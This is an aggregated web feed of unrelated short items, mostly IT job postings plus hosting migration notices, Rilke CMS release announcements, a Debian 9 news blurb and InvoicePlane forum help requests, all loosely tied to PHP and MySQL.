Het hostingplatform draait vanaf nu op CentOS in plaats van Redhat Enterprise. Daarnaast zijn de belangrijkste softwarepackages waaronder PHP en MySQL geupgrade naar een nieuwe versie, te weten PHP5 en MySQL4.
          Migratie hostingplatform naar CentOS4   
Van vrijdag 12 of zaterdag 13 januari 2007 wordt gestart met het migreren van het hostingplatform van Redhat versie3 naar Centos versie4. Tevens wordt MySQL ge-upgrade naar versie4 en PHP naar versie5.
          Migratie servers naar CentOS afgerond   
Alle dedicated servers draaien vanaf nu op CentOS in plaats van Redhat Enterprise. Daarnaast zijn de belangrijkste softwarepackages waaronder PHP en MySQL geupgrade naar een nieuwe versie, te weten PHP5 en MySQL4.
          Start upgrade naar PHP5 en MySQL4   
Nu wij overschakelen naar CentOS4 maken wij direct van de mogelijkheid gebruik om een upgrade uit te voeren naar PHP5 en MySQL4. Nieuwe webhosting- en serverabonnementen worden vanaf nu al opgeleverd met deze nieuwe software.
          MySQL DBA- Rapidly Growing Startup- Mountain Town!   

          Version 0.8.1 released (July 05, 2003)!   

The second release of Rilke CMS, version 0.8.1 has been made available
at SourceForge. Rilke CMS provides easy content management for non-geeks.

This release is bug fix and compatibility release. It aims to make installing and using Rilke CMS on a wider variety of platforms easier. There were many small
changes to many files.
I am happy to report that as a result of some these changes, Rilke CMS
now works very well on Windows XP too (PHP 4.3+, Apache 1.3x, MySQL 3.2+).

You can download version 0.8.1 here:
http://prdownloads.sourceforge.net/rilkecms/rilkecms_081.zip?download .

A live demo is available at:
http://www.rilkecms.com/rilkecms/

Your feedback is welcome.

For a detailed list of the bugs fixed (some changes are still missing
from this list) please review the changelog [http://www.rilkecms.com/changelog.html ]. For
detailed general, technical and setup information, please review the
readme [ http://www.rilkecms.com/readme.html ] file.


          Initial Public Release of Rilke CMS 0.8!   

I am happy to announce the initial public (open source) release of Rilke CMS 0.8!

Rilke CMS is a PHP / MySQL based content management system. It can be used to publish a variety of different websites, including personal and collaborative weblogs. While many open source content management systems are difficult for the average non-geek to use, this one strives to be easily usable by anyone who has used a word processor.

A live demo is available at:
http://www.rilkecms.com/rilkecms/

The sourceforge page is available at:
http://rilkecms.sourceforge.net

It features:

* An easy to use WYSIWYG publishing screen. Anyone who has used a word processor before will be able to use Rilke CMS
* Easy look-and-feel adaptability, due its reliance on CSS based layouts
* A PHP-MySQL based core, made available under the PHP license
* Integrated commenting system
* Encryption of visitor submitted email addresses (in comments) to prevent their harvesting by SPAMbots
* Approval system for visitor submitted posts
* Easy editing and/or deactivation of posts and comments
* Easy organization of posts through categories
* Easy syndication through XML based RSS feeds
* Extended funtionality through plugins

A request for help:
If you fit any of the following profiles, the Rilke CMS project could use your help:

* Programmer : PHP / MySQL / JavaScript
* Designer: HTML / CSS
* Graphic Designer: Adobe Photoshop / Gimp / Flash
* Documentor: Technical Writing Skills (and familiarity with content management systems)

Please contact Jay Sheth (jayeshsh [at] ceruleansky.com ] if you are interested in helping out with Rilke CMS, or if you have suggestions for its improvement.


          Your Blog Could be Featured in a Magazine!   

ลินุกซ์เดเบียนออกเวอร์ชั่น 9.0 แล้วอัพเดตซอฟต์แวร์ที่รองรับให้เป็นซอฟต์แวร์ยุคใหม่ ตัวเคอร์เนลใช้ Linux 4.9 ซึ่งเป็นรุ่น longterm ตัวล่าสุด ออกมาเมื่อปลายปี 2016 ความเปลี่ยนแปลงในซอฟต์แวร์ย่อยๆ มีอีกหลายอย่าง เช่น

  • เปลี่ยนมาใช้ MariaDB เป็นมาตรฐานแทน MySQL
  • เปลี่ยนมาใช้ Firefox/Thunderbird อีกครั้ง
  • โค้ดสามารถคอมไพล์แบบทำซ้ำได้ (reproducible) ถึง 94% ของซอร์สโค้ดทั้งหมด
  • X display ไม่ต้องรันด้วย root แล้ว
  • ซอฟต์แวร์หลักๆ อัพเดตเวอร์ชั่น เช่น Apache 2.4.25, Chromium 59.0, PHP 7.0, Ruby 2.3, Python 3.5.3, Golang 1.7

รองรับสถาปัตยกรรมซีพียู mips64el เพิ่มเข้ามาและถอด PowerPC ออกจากการรองรับ ระยะเวลาซัพพอร์ต 5 ปีนับจากวันที่ออกไป

ที่มา - Debian

Topics: 

          IP v1.5.3 PDF Logo placement and size   

@Maasdoel wrote:

Invoice Plane 1.5.3
Raspberry pi (Test machine, before migrating changes to main server)
OS Rasbian (lite)
Apache2,MySql,php 5.6.30

Topics already researched.








https://wiki.invoiceplane.com/en/1.0/general/faq


Hi i have just upgrade from 1.4.8 to 1.5.3- All went well.

I then update my logo(pdf) This too worked.
I then tried to scale the logo smaller by editing

in
(baseinstall)/assets/core/css/custom.css
and
(baseinstall)/assets/core/css/custom-pdf.css

inserting

#invoice-logo {
max-width: 15em !important;
max-height: 15em !important;
margin-right: 17em;
}

Nearly all formatting broke on the pdf. I then remove the lines from the files. And refreshed, but the pdf remained 'broken'

I restarted Apache, deleted the pdf invoice from
(baseinstall)/uploads/archive/.....

Logged back in and tried to download the pdf again, with the same 'broken' result

I then reinstalled (coping from v1.5.3.zip) over the existing files and repeated the aforementioned
clean up, but with the same result?

What did I miss, and what is the correct way to place and size the logo on a pdf/webview.

Regards
Eric

Posts: 2

Participants: 2

Read full topic


          Module 'mysqli' already loaded   

@sohag wrote:

I'm Using shared CPANLE. I don't have access any php.ini file. I've just have cpanel.
I'm facing the following error while creating an invoice.
While creating invoice it shows error. And the invoice is moved to draft section.
Error
A PHP Error was encountered
Severity: Core Warning
Message: Module 'mysqli' already loaded
Filename: Unknown
Line Number: 0
Backtrace:

Posts: 1

Participants: 1

Read full topic


          php хостинг   
Ищется стабильный (не отключающийся регулярно и не требующий ежемесячного залогинивания) бесплатный php хостинг для очень маленького скрипта, генерирующего rss-фид для сообщества в LiveJournal: http://community.livejournal.com/garfield_rus/.

Места нужно не более мегабайта, mysql и т.д. не нужно. Желательно чтобы был ftp доступ (и обычный и вебовский).

Заранее благодарен.
          244: Rapidfire 80   
What’s the difference between a site that’s straight up files vs WordPress? What’s CSP and why does it matter? Does MySQL matter? Understanding the benefits of HTTP2. And how can you clean up a project you’re taking over? Comment Bag No comments were pulled out of the bag this episode. Q & A 13:18 Recently […]
          Web Developer Position Available -   
Position: Sr. Web Application Developer

Description: Company has an immediate need for a senior web application developer who will work closely with software architects and product / service leads to translate application designs into clean, efficient and well-documented code. He or she will use analytical skills to solve complex problems while managing personal schedule and deadlines.


Duties and Responsibilities:

? Provide support for existing public websites
?Develop, test and support website applications
?Translate UI designs, mockups, and detailed specifications into functional user interfaces, ensuring cross browser compatibility, performance and robustness, and adherence to coding best practices and current web standards in an accessible environment ( WCAG 2.0 AA)
?Adherence to organizational policies (including change management and documentation)
?Support user testing; apply corrections
?Work with design firm when necessary
?Collaborate with other team members to solve problems (e.g., provide guidance/support regarding CSS and JavaScript )
?Configure Google Analytics and Google Tag Manager
?Provide website content entry in Joomla and SharePoint (backup role)
Skills / Attributes Required
?5 ? 7 years of proven experience in creating PHP-based multimedia and interactive websites (experience in hand-coded PHP development, including OOP and MVC-based Frameworks)
?5 ? 7 years of experience with jQuery and JavaScript
?5 ? 7 years of experience MySQL and Database Design
?5 ? 7 years of HTML and CSS (including ability to hand-code)
?Proficiency with responsive design
?Proficiency with Joomla 2.5 and 3.0 (including Template Modifications, Custom Components, Custom Modules)
?Proficiency with cross-browser and layout design paradigms
?Proficiency with Adobe Creative Suite (Photoshop, Fireworks, Illustrator, etc.)
?Proficiency with accessibility standards (508, WCAG 2.0)
?Strong working knowledge of DOM (Document Object Model)
?Commitment to quality
?Able to work independently and efficiently to meet deadlines
?Excellent oral and written communication skills
?Solid client skills
?Self-motivated, detail-oriented and organized

Skills / Attributes Preferred
?AJAX
?SEO and SEM
?HTML5 and CSS 3
?Design skills
?User Experience skills

Other:
?Location: Onsite in Vienna, Virginia
?Occasional after hours work required (deployments)
?No travel required
We are an equal employment opportunity employer and will consider all qualified candidates without regard to disability or protected veteran status.
          Project Manager - Technical -   
This Project Manager - Technical:

? Great Pay to $120K

Position: Project Manager Technical

Location: Newport News, VA 23601

Direct-hire: Full time Perm Position

Rate: Open


SUMMARY

The Program Manager shall be the point of contact with the Contracting Officer, and/or his or her representative, and shall coordinate all of the work ordered by task orders.


PRIMARY FUNCTIONS

? The PM is responsible for day-to-day management of overall contract support operations; this can involve multiple projects and groups of personnel at multiple locations.
? Organize, direct, and coordinate the planning and production of all contract support activities.


QUALIFICATIONS

? 10 or more years of experience involving design, development, and delivery of technical training and training products and the direct supervision of technical personnel involved in the life cycle management support of complex systems.

Skills: PHP, MS SQL, Linux, HTML, Lamp, training, PMP, MS Project, Visio, SDLC


TYPE OF TECHNOLOGY USED

? LAMP environment
? PHP or a similar language
? SQL
? MySQL
? Linux and Apache
? HTML and Javascript is a plus

* Must be Clearable- Clearance is required for this position

We are an equal employment opportunity employer and will consider all qualified candidates without regard to disability or protected veteran status.
          Senior Solutions Architect (Job #6334)   
We are seeking a driven individual who has a desire to work with some of the best Cloud Architects in the Market. Our architects support the full life cycle from client needs analysis, through design, build migration and go live. They are continually assessing emerging products and services that improve the business of the clients we serve.

The Senior Solution Architect- a combination of a subject matter guru, trusted advisor and cloud services authority, will be responsible, working as part of our cloud team, to help define the tools, processes and methods, and develop systems that will utilize Private and Public clouds (AWS, Azure, and others) to support enterprise adoption of our managed cloud service offerings. In addition, the Senior Solutions Architect will use systems analysis techniques, enterprise architecture planning process and procedures while consulting with clients to determine cloud computing specifications and needs for our clients.



Responsibilities also include:

Design, and implementation of customized technical virtualization solutions for clients both on premises and public cloud environments.
Develop complete virtualization solutions taking into account sizing, infrastructure, data protection, disaster recovery, and application requirements and hybrid access to premises based enterprise systems.
Creation of a bill of materials for solution specific virtualization product and service requirements
Provide cloud focused demonstrations, evaluations and proof of concept support
Contribute to the development of Statements of Work and Proposals
Provide troubleshooting expertise for virtualization performance and other issues
Develop AWS, Azure cloud solutions for clients
Managed and preform V2C, P2C, and P2V migrations of systems for clients.
Integrate appropriate security and information assurance controls into solutions to ensure accreditation based on appropriate regulatory requirements that the client operates under. Support Cloud Assured leadership in continuous improvement to of our solutions to maintain competitive advantages.
Assist with RFP responses


Required Skills

Cloud Architecting / Solution Delivery expertise preferably AWS services
Demonstrable Enterprise Architecture planning and design skills
Experience with scripting and automation tools such as Puppet and Chef
Good written and verbal communication skills
Good analytic, organization, presentation, customer service and facilitation skills
Excellent problem solving skills; the ability to manage multiple tasks under tight deadlines.



The candidate should have a balance of knowledge in Operating systems, Network, Security and programming or scripting

The candidate must have working experience in .NET, or similar programming or scripting languages
Ability to gather customer requirements and translate those requirements into short and long term
The candidate should have in depth understanding of authentication and authorization services; e.g.; AD, ADFS, SAML, LDAP & the backend associated APIs that connect various messaging, cloud and social platforms.
Ability to understand and support network, system and application security hardening, penetration testing, continuous monitoring, and support of policy.
Ability to support network and system risk assessment and to support network and system security planning and documentation.



Preference will be given to candidates that also have database, applications services support skills:

The candidate can be considered expert in one of more platforms (Microsoft, or a flavor of Linux) with 5 or more years? experience
The candidate can be considered expert in a combination of database and platform application services, e.g; Microsoft Exchange, SharePoint, Lync, Apache software, SQL, Oracle. MYSQL, AWS RDS, Mongo. Hadoop/EMR experience is a plus.
Full understanding of DNS, WINS, DHCP and LDAP compliant directories is also a differentiator of candidates.
Cisco network routing and switching skills
System Monitoring Tools that can be easily extended into AWS, Azure and premise based systems for a single enterprise view is a plus.

Required Experience

5+ years? experience in engineering enterprise datacenter solutions
Candidates must be a US Citizen
          Senior Linux System Administrator (Job #6385)   
Our Senior Systems Administrator practices a hybrid of System Administration, Cloud Engineering, Configuration/Release Management, Systems integration, and Software Development.

Responsibilities
• Implement and manage multi-server deployments in a virtual environment, such as AWS or Rackspace Cloud.
• Collaborate with development teams to deploy new code to production environments.
• Set up and maintain monitoring systems and alarms for production environments.
• Set up back-up mechanisms for production environment and test disaster recovery mechanisms.
• Collaborate with Operations and Development teams to evolve operations best practices.
• Participate in 24/7 on-call schedules with team members

Qualifications
• 5-7 years? experience combining Development and Operational Administration.
• In-depth knowledge of an infrastructure automation framework, such as Chef, Puppet, or Ansible.
• Strong Linux System Administration experience – specifically for web applications.
• Proficiency in scripting languages and shells – Perl, Python, Ruby, PHP, and shell scripting.
• Experience setting up and managing MySQL Databases.
• Experience setting up and managing Tomcat, Apache, and Solr.
• Ability to articulate concepts/ideas and work effectively with others under pressure.
• Incorporate commitments, strategic objectives, and day-to-day tasks seamlessly.
• High level of problem solving and conflict resolution capabilities.

Desired Experience
• Knowledge and experience of typical build and release management processes, including continuous integration packages
such as Hudson or Jenkins.
• Knowledge and experience of operational monitoring systems, such as Hyperic or Nagios.
• Development experience with Java in a web application setting – BIG PLUS.
• Exposure to Cloud Engineering - BIG PLUS.
Education and/or Experience
• BS in Computer Sciences or equivalent experience required.
          MongoDB DBA/Architect (Job #6368)   
SLAIT Consulting is currently seeking a MongoDB DBA/Architect for our client in the Norfolk, VA area.

Summary:
The incumbent will participate in technical research and development to enable continuing innovation for the Client?s online business services, while ensuring that all database software systems and related procedures adhere to organizational values.

Responsibilities:
* Support existing database systems, including traditional RDBMS such as Oracle/MySQL and more modern, document-oriented, data stores of Apache Solr and MongoDB.
* Responsible for the installation, configuration, operation, and maintenance of all database software and related infrastructure.
* Work closely with management and other members of the team to both implement and ensure timely completion of goals and deliverables.
* Stay current with emerging technologies and procedures and make opportunities to integrate them into operations and activities.
* Research and recommend innovative, and where possible, automated approaches for database administration tasks.
* Identify approaches that leverage our resources and provide economies of scale.

Required Skills:
* Bachelor?s degree with a technical major such as engineering or computer science.
* 2+ years of general database administration experience focused on any modern RDBMS or NoSQL database software.
* 2+ years of experience with Linux based operating systems.
* Experience with Perl, JavaScript, and/or shell programming a plus.


Why SLAIT?
We have been growing since 1990 with offices in Virginia, Gaithersburg, MD., New York, Raleigh, NC, and Austin TX. For over twenty three years, we have delivered customized, creative IT solutions for customers in the commercial, and state and local government sectors.
*Staff Augmentation *Managed Services *IT Outsourcing *IT Consulting

Thank you for your consideration, please submit your resume today! Visit us at www.slaitconsulting.com

**Must be able to work for any employer in the United States. No Visa sponsorship.**

SLAIT Consulting is an Equal Opportunity Employer
          Web Developer Position Available -   
Position: Sr. Web Application Developer

Description: Company has an immediate need for a senior web application developer who will work closely with software architects and product / service leads to translate application designs into clean, efficient and well-documented code. He or she will use analytical skills to solve complex problems while managing personal schedule and deadlines.


Duties and Responsibilities:

? Provide support for existing public websites
? Develop, test and support website applications
? Translate UI designs, mockups, and detailed specifications into functional user interfaces, ensuring cross browser compatibility, performance and robustness, and adherence to coding best practices and current web standards in an accessible environment ( WCAG 2.0 AA)
? Adherence to organizational policies (including change management and documentation)
? Support user testing; apply corrections
? Work with design firm when necessary
? Collaborate with other team members to solve problems (e.g., provide guidance/support regarding CSS and JavaScript )
? Configure Google Analytics and Google Tag Manager
? Provide website content entry in Joomla and SharePoint (backup role)
Skills / Attributes Required
? 5 ? 7 years of proven experience in creating PHP-based multimedia and interactive websites (experience in hand-coded PHP development, including OOP and MVC-based Frameworks)
? 5 ? 7 years of experience with jQuery and JavaScript
? 5 ? 7 years of experience MySQL and Database Design
? 5 ? 7 years of HTML and CSS (including ability to hand-code)
? Proficiency with responsive design
? Proficiency with Joomla 2.5 and 3.0 (including Template Modifications, Custom Components, Custom Modules)
? Proficiency with cross-browser and layout design paradigms
? Proficiency with Adobe Creative Suite (Photoshop, Fireworks, Illustrator, etc.)
? Proficiency with accessibility standards (508, WCAG 2.0)
? Strong working knowledge of DOM (Document Object Model)
? Commitment to quality
? Able to work independently and efficiently to meet deadlines
? Excellent oral and written communication skills
? Solid client skills
? Self-motivated, detail-oriented and organized

Skills / Attributes Preferred
? AJAX
? SEO and SEM
? HTML5 and CSS 3
? Design skills
? User Experience skills

Other:
? Location: Onsite in Vienna, Virginia
? Occasional after hours work required (deployments)
? No travel required
We are an equal employment opportunity employer and will consider all qualified candidates without regard to disability or protected veteran status.
          Project Manager - Technical -   
This Project Manager - Technical:

? Great Pay to $120K

Position: Project Manager Technical

Location: Newport News, VA 23601

Direct-hire: Full time Perm Position

Rate: Open


SUMMARY

The Program Manager shall be the point of contact with the Contracting Officer, and/or his or her representative, and shall coordinate all of the work ordered by task orders.


PRIMARY FUNCTIONS

? The PM is responsible for day-to-day management of overall contract support operations; this can involve multiple projects and groups of personnel at multiple locations.
? Organize, direct, and coordinate the planning and production of all contract support activities.


QUALIFICATIONS

? 10 or more years of experience involving design, development, and delivery of technical training and training products and the direct supervision of technical personnel involved in the life cycle management support of complex systems.

Skills: PHP, MS SQL, Linux, HTML, Lamp, training, PMP, MS Project, Visio, SDLC


TYPE OF TECHNOLOGY USED

? LAMP environment
? PHP or a similar language
? SQL
? MySQL
? Linux and Apache
? HTML and Javascript is a plus

* Must be Clearable- Clearance is required for this position

We are an equal employment opportunity employer and will consider all qualified candidates without regard to disability or protected veteran status.
          Sr.Web Developer wanted Immediately -   
? 5? 7 years of proven experience in creating PHP-based multimedia and interactive websites (experience in hand-coded PHP development, including OOP and MVC-based Frameworks)
? 5 ? 7 years of experience with jQuery and JavaScript
? 5 ? 7 years of experience MySQL and Database Design
? 5 ? 7 years of HTML and CSS (including ability to hand-code)
? Proficiency with responsive design
? Proficiency with Joomla 2.5 and 3.0 (including Template Modifications, Custom Components, Custom Modules)
? Proficiency with cross-browser and layout design paradigms
? Proficiency with Adobe Creative Suite (Photoshop, Fireworks, Illustrator, etc.)
? Proficiency with accessibility standards (508, WCAG 2.0)
? Strong working knowledge of DOM (Document Object Model)
? Commitment to quality
? Able to work independently and efficiently to meet deadlines
? Excellent oral and written communication skills
? Solid client skills
? Self-motivated, detail-oriented and organized

Skills / Attributes Preferred
? AJAX
? SEO and SEM
? HTML5 and CSS 3
? Design skills
? User Experience skills
We are an equal employment opportunity employer and will consider all qualified candidates without regard to disability or protected veteran status.
          Senior C++/PostgreSQL or MySQL Software Engineer job in Herndon, VA   
<span>Seeking a Senior C++ Software Engineer for a permanent job in Herndon, VA. <br>&nbsp;<br>We are seeking an innovative and creative Senior Software Engineer who is ready for the challenges, responsibilities, and rewards that come with working in a high-energy, fast-paced environment. Candidates must have a strong technical background and be capable of coming up to speed on new technologies quickly. Good communication skills, great problem solving skills, and the ability to work both individually and collaboratively in a team environment are required. If you enjoy working in a fast-paced environment with the smartest team, and the very latest technology, then this is the job for you!<br>&nbsp;<br>KEY JOB RESPONSIBILITIES:<br>&bull; Architect, design, develop, test and integrate company software. <br>&bull; Participate in code reviews and improve software quality. <br>&bull; Mentor or help junior members of the team. <br>&bull; Support customers as needed <br>&bull; Other duties as assigned. <br>&nbsp;<br>&nbsp;<br>QUALIFFICATIONS: <br>Education: BS/MS in Computer Science, Electrical Engineering or Mathematics, or equivalent experience<br>Experience: Over 7 years of industry experience in software engineering.<br>&nbsp;<br>Professional Qualities:<br>&bull; Must be able to work in a fast paced development environment. <br>&bull; Must be able to analyze and solve technical problems. <br>&nbsp;<br>Personal Qualities:<br>&bull; Must have strong interpersonal skills and be self-motivated. <br>&bull; Must be able to complete tasks in a timely manner. <br>&bull; Must be able to communicate (oral/written) effectively. <br>&bull; Must be able to work under pressure. <br>&nbsp;<br>Technical Requirements <br>&bull; Solid experience with C++ and object oriented design and development. <br>&bull; Strong experience with Inter Process communications. <br>&bull; Strong Knowledge of TCP/IP, UDP, sockets <br>&bull; Very good knowledge of Design Patterns. <br>&bull; Strong Knowledge of Linux or a POSIX O/S environment. <br>&bull; Good Experience with shell scripting. <br>&bull; Experience with a relational database, such as MySQL or PostgreSQL. <br>&bull; Knowledge of Satellite communication is a plus. <br>&bull; Knowledge of Cryptographic concepts (Symmetric Key, Assymetric Key, IPsec, TLS) is a plus <br>&bull; Understanding of IP routing is a plus. <br>&nbsp;<br>Interested in this Senior C++ Software Engineer job in Herndon, VA? Apply here!<br>&nbsp;<br></span>
          Software Build/Configuration Management-Contract to Hire Job in Herndon VA 20170   
<span><B>Position Responsibilities:</B><br>&bull;Configuration Management/Software Build Specialist will be responsible for developing and maintaining the Software Configuration Management plan and policies, configuration item identification<br>&bull;software application build management, develop and maintain branching strategies, provide configuration status accounting, and ensure configuration management procedures are followed.<br>&bull;This position will perform configuration management audits and support quality assurance in validation of product artifacts and deliverables. <br>&bull;The Software Configuration Management Specialist will perform product builds and create &amp; maintain build scripts. <br>&bull;You must be team oriented and contribute to the overall project objectives and configuration management functions.<br><B>Position Requirements</B><br>&bull;Education: Bachelor&rsquo;s Degree in Engineering or a Natural Science<br>&bull;3+ years of experience as a software engineer, developing embedded, web-based or server applications with an understanding of the full development lifecycle activities.<br>&bull;3+ years of experience in building and releasing software applications in a controlled environment with an understanding of full lifecycle configuration management activities, while performing related system administration activities.<br>&bull;Strong knowledge of software development, build and configuration management tools. Linux, Windows, Microsoft WORD, EXCEL, PowerPoint, MS Project, Visio, Jira<br><B>Strongly Desired Skills</B>:<br>&bull;Solid understanding and experience with version control systems, change management systems and documentation management systems; such as GIT, CVS, Subversion, Mercurial, Perforce, ClearCase, Jira, Bugzilla, Crucible, Fisheye, Alfresco<br>&bull;Experience working within and understanding an Open Source consumer model with knowledge of GPL<br>&bull;Strong experience with Linux and related administrative activities<br>&bull;Experience in an Agile development environment and Continuous Integration<br>&bull;Knowledge of build automation, as well as experience with proven CI systems such as Jenkins, Bamboo, Maven, or Cruise Control<br>&bull;Good understanding and experience with scripting such as bash / Perl / Python<br>&bull;Experience with SQL, especially MySQL and PostgreSQL<br>&bull;Experience with compilers and cross compiling, esp. gcc, and the Altera tool suite<br>&bull;Experience with Red Hat based-Linux, 32-bit and 64-bit; RPM spec file creation and administration; managing Red Hat based package repositories <br>&bull;Experience with creating kickstart files from scratch<br>&bull;Experience administering version control systems, especially modern distributed systems such as Git.<br>&nbsp;<br><B>Please click on link and send Word updated resumes for this contract to hire Software Build/Configuration Management Specialist in Herndon VA.</B><br>&nbsp;<br></span>
          Senior Linux System Administrator (Job #6385)   
Our Senior Systems Administrator practices a hybrid of System Administration, Cloud Engineering, Configuration/Release Management, Systems integration, and Software Development.

Responsibilities
• Implement and manage multi-server deployments in a virtual environment, such as AWS or Rackspace Cloud.
• Collaborate with development teams to deploy new code to production environments.
• Set up and maintain monitoring systems and alarms for production environments.
• Set up back-up mechanisms for production environment and test disaster recovery mechanisms.
• Collaborate with Operations and Development teams to evolve operations best practices.
• Participate in 24/7 on-call schedules with team members

Qualifications
• 5-7 years? experience combining Development and Operational Administration.
• In-depth knowledge of an infrastructure automation framework, such as Chef, Puppet, or Ansible.
• Strong Linux System Administration experience – specifically for web applications.
• Proficiency in scripting languages and shells – Perl, Python, Ruby, PHP, and shell scripting.
• Experience setting up and managing MySQL Databases.
• Experience setting up and managing Tomcat, Apache, and Solr.
• Ability to articulate concepts/ideas and work effectively with others under pressure.
• Incorporate commitments, strategic objectives, and day-to-day tasks seamlessly.
• High level of problem solving and conflict resolution capabilities.

Desired Experience
• Knowledge and experience of typical build and release management processes, including continuous integration packages
such as Hudson or Jenkins.
• Knowledge and experience of operational monitoring systems, such as Hyperic or Nagios.
• Development experience with Java in a web application setting – BIG PLUS.
• Exposure to Cloud Engineering - BIG PLUS.
Education and/or Experience
• BS in Computer Sciences or equivalent experience required.
          PHP Developer - Contract - Tyson's Corner, VA   
We seek a Senior PHP Developer for a 6+ month contract in Tyson?s Corner, VA

Requirements include:
?5+ years of proven experience in creating PHP-based multimedia and interactive websites (experience in hand-coded PHP development, including OOP and MVC-based Frameworks)
?5+ years of experience with jQuery and JavaScript
?5+ years of experience MySQL and Database Design
?5+ years of HTML and CSS (including ability to hand-code)
?Proficiency with responsive design
?Proficiency with Joomla 2.5 and 3.0 (including Template Modifications, Custom Components, Custom Modules)
?Proficiency with cross-browser and layout design paradigms
?Proficiency with Adobe Creative Suite (Photoshop, Fireworks, Illustrator, etc.)
?Proficiency with accessibility standards (508, WCAG 2.0)
?Strong working knowledge of DOM (Document Object Model)
?Commitment to quality
?Able to work independently and efficiently to meet deadlines
?Excellent oral and written communication skills
?Solid client skills
?Self-motivated, detail-oriented and organized

We are an equal employment opportunity employer and will consider all qualified candidates without regard to disability or protected veteran status.
          Contract to Hire Job-Sr. Java Developer-Workflow Management Solutions in Alexandria, VA 22102   
<span>&nbsp;<br><B>Responsibilities</B><br>&bull;Software Architect Lead the design and implementation of a complex, enterprise web application software development and integration effort. The candidate will architect, code and test full-stack Java-based web application software using an Agile methodology. &nbsp;Use sound software engineering and object oriented principles to ensure that developed code is maintainable, efficient, reliable, understandable, secure and fault tolerant. <br>&bull;Design software architecture for new applications or upgrades to existing applications using best-of-breed technologies. <br>&bull;Monitor and track technical activities to completion. <br>&bull;Interface with software engineers, test engineers, quality assurance, and other project team members using the Agile Scrum methodology. <br>&bull;Use software tools in cooperation with continuous integration while supporting software reuse and refactoring. <br>&bull;Guide and mentor development team in coding standard best practices.<br><B>Required Skills: </B><br>&bull;Agile Software development process experience.<br>&bull;Candidate must have experience implementing/integration workflow management solutions such as either Oracle BPM, IBM Business Process manager, JBoss or BPM <br>&bull;Hands on experience in JSP, EJB/JPA and one or more frameworks like Struts, JSF or Spring. &nbsp;<br>&bull;Experience in one of the following ORM tools Hibernate, iBatis, JPA <br>&bull;Experience in developing REST services using Resteasy.<br>&bull;Prior J2EE application development experience on JBoss Application Server/SOA-P or other similar J2EE application server. <br>&bull;Knowledge of Service Oriented Architecture and WS* standards in addition to hands on experience coding XML Web Services using JAX* API and tools like Axis are strongly desired. &nbsp;<br>&bull;Experience in at least the following configuration management tools: Subversion and build automation tools such as Ant, Maven, BuildForge or similar.<br>&bull;Experience authoring and performance engineering SQL queries and stored procedures in MySQL is desired. <br>&bull;Experience with Solr / Lucene search technologies is desired<br>&bull;Experience with image processing is desired<br>&bull;Experience with workflow processing is desired<br>&bull;Clearance: qualified candidate must also be able to pass a security background check, including a credit check. All qualified candidates MUST be able to obtain a clearance prior to starting. The clearance is comparable to a Public Trust level. Candidates with a minimum of an active Public Trust clearance are preferred<br>&bull;Education Requirements: &nbsp;Bachelor&#39;s degree in related technical discipline and 8+years&rsquo; experience.<br>&nbsp;<br><B>Please click on link and send updated word resume for this contract to hire SR. Java Developer opportunity located in Alexandria VA</B><br>&nbsp;<br></span>
          Sr. Data Analyst- Contract in Reston, VA   
<span>Modis seeks a senior data analyst for a contract job with our direct client in Reston, VA.<br>&nbsp;<br>The Data Services group (DS) of our client seeks a Senior Business/Systems Analyst with strong data skills to work closely with Data Services staff; key business stakeholders, including programs and regions; and Information Technology (IT) staff to support the organization&rsquo;s efforts in the areas of enterprise data management and services. The senior analyst will be a subject matter expert in key aspects of data and programs, supporting a range of the organization&rsquo;s data management programs and projects.<br>The Senior Business/Systems Analyst must work with Data Services&rsquo; teams to communicate and engage with the business units to develop a strong understanding of their reporting, data and product needs. From this understanding, the Senior Analyst will work with the business and the technology teams to help define requirements for a project, identify data dependencies and/or relationships to develop logical and physical data models, create data flow and system activity diagrams, and write specifications for managing enterprise information. Specifications may include business rules, source to target mappings, design specifications, BI reporting specifications, and/or use cases. The Senior Analyst must also be able to work with architects, engineers and DBAs to ensure that the business and technical requirements are being met throughout the development process.<br>&nbsp;<br>The Senior Analyst will also develop plans and materials to support user adoption, training and customer service. Through direct and regular contact with users from regions, programs and service units, the Senior Analyst will provide regular insight and guidance into the prioritization of enhancements for the data systems. The Senior Analyst may also coordinate change control boards for the platform in support of the platform manager. <br>&nbsp;<br>The Senior Analyst will be given very complex data-related problems, and must solve them using a variety of technical and analytical skills, and be able to document and standardize the processes for solving those problems. A successful candidate will be able to generate efficiencies and mitigate risk within the data management group, through sound technical analysis, and will generate value for the business by providing solutions to their business problems.<br>&nbsp;<br>ESSENTIAL FUNCTIONS / RESPONSIBILITIES<br>&bull; Serve as a subject matter expert in multiple areas of data, and use that expertise to support multiple programs.<br>&bull; Communicate with and understand business goals and requirements, and work to create data solutions that add value to the business.<br>&bull; Demonstrate a strong attention to detail, high degree of initiative, and excellent documentation skills<br>&bull; Support technical project managers to ensure that all aspects of the information analysis and requirements gathering process are completed with the highest degree of accuracy and quality, including the development and socialization of key project artifacts.<br>&bull; Develop and participate in the review of requirements, data mappings, use cases and other artifacts and clearly communicate to both the business and technical team members the system requirements. Demonstrate the ability to define, analyze and translate functional and non-functional business requirements into activity diagrams source to target mappings, system use cases and supplemental specifications. <br>&bull; Demonstrate the ability to access data (SQL), analyze data, and be able to create the logical data model for incoming data. <br>&bull; Support ad hoc data requests within existing governance and security policies and best practices.<br>&bull; Implement rollout plans for data and reporting tools that involves training end users and helping to secure the ongoing buy-in and use of the system. Develop key documentation, user guides and other necessary training materials.<br>&bull; Support a broad base of users of the data and reporting platforms with excellent customer service and incident management skills. <br>&bull; Ensure relationships with the customers and cross-team members are professional and meet management expectations. <br>&nbsp;<br>Required Skills:*<br>&bull; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Significant knowledge and experience in managing and executing data management initiatives, including data management, warehousing, provisioning and business intelligence. <br>&bull; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;5-7 years&rsquo; experience in data management of enterprise wide data. <br>&bull; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Understanding of business process modeling, data provisioning modeling, entity relationship modeling and dimensional modeling. <br>&bull; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Experience in project management. <br>&bull; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Demonstrated ability to complete projects on time and on budget. Experience with education related data is required. <br>&nbsp;<br>Strong attention to detail<br>&bull; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Excellent documentation skills <br>&bull; 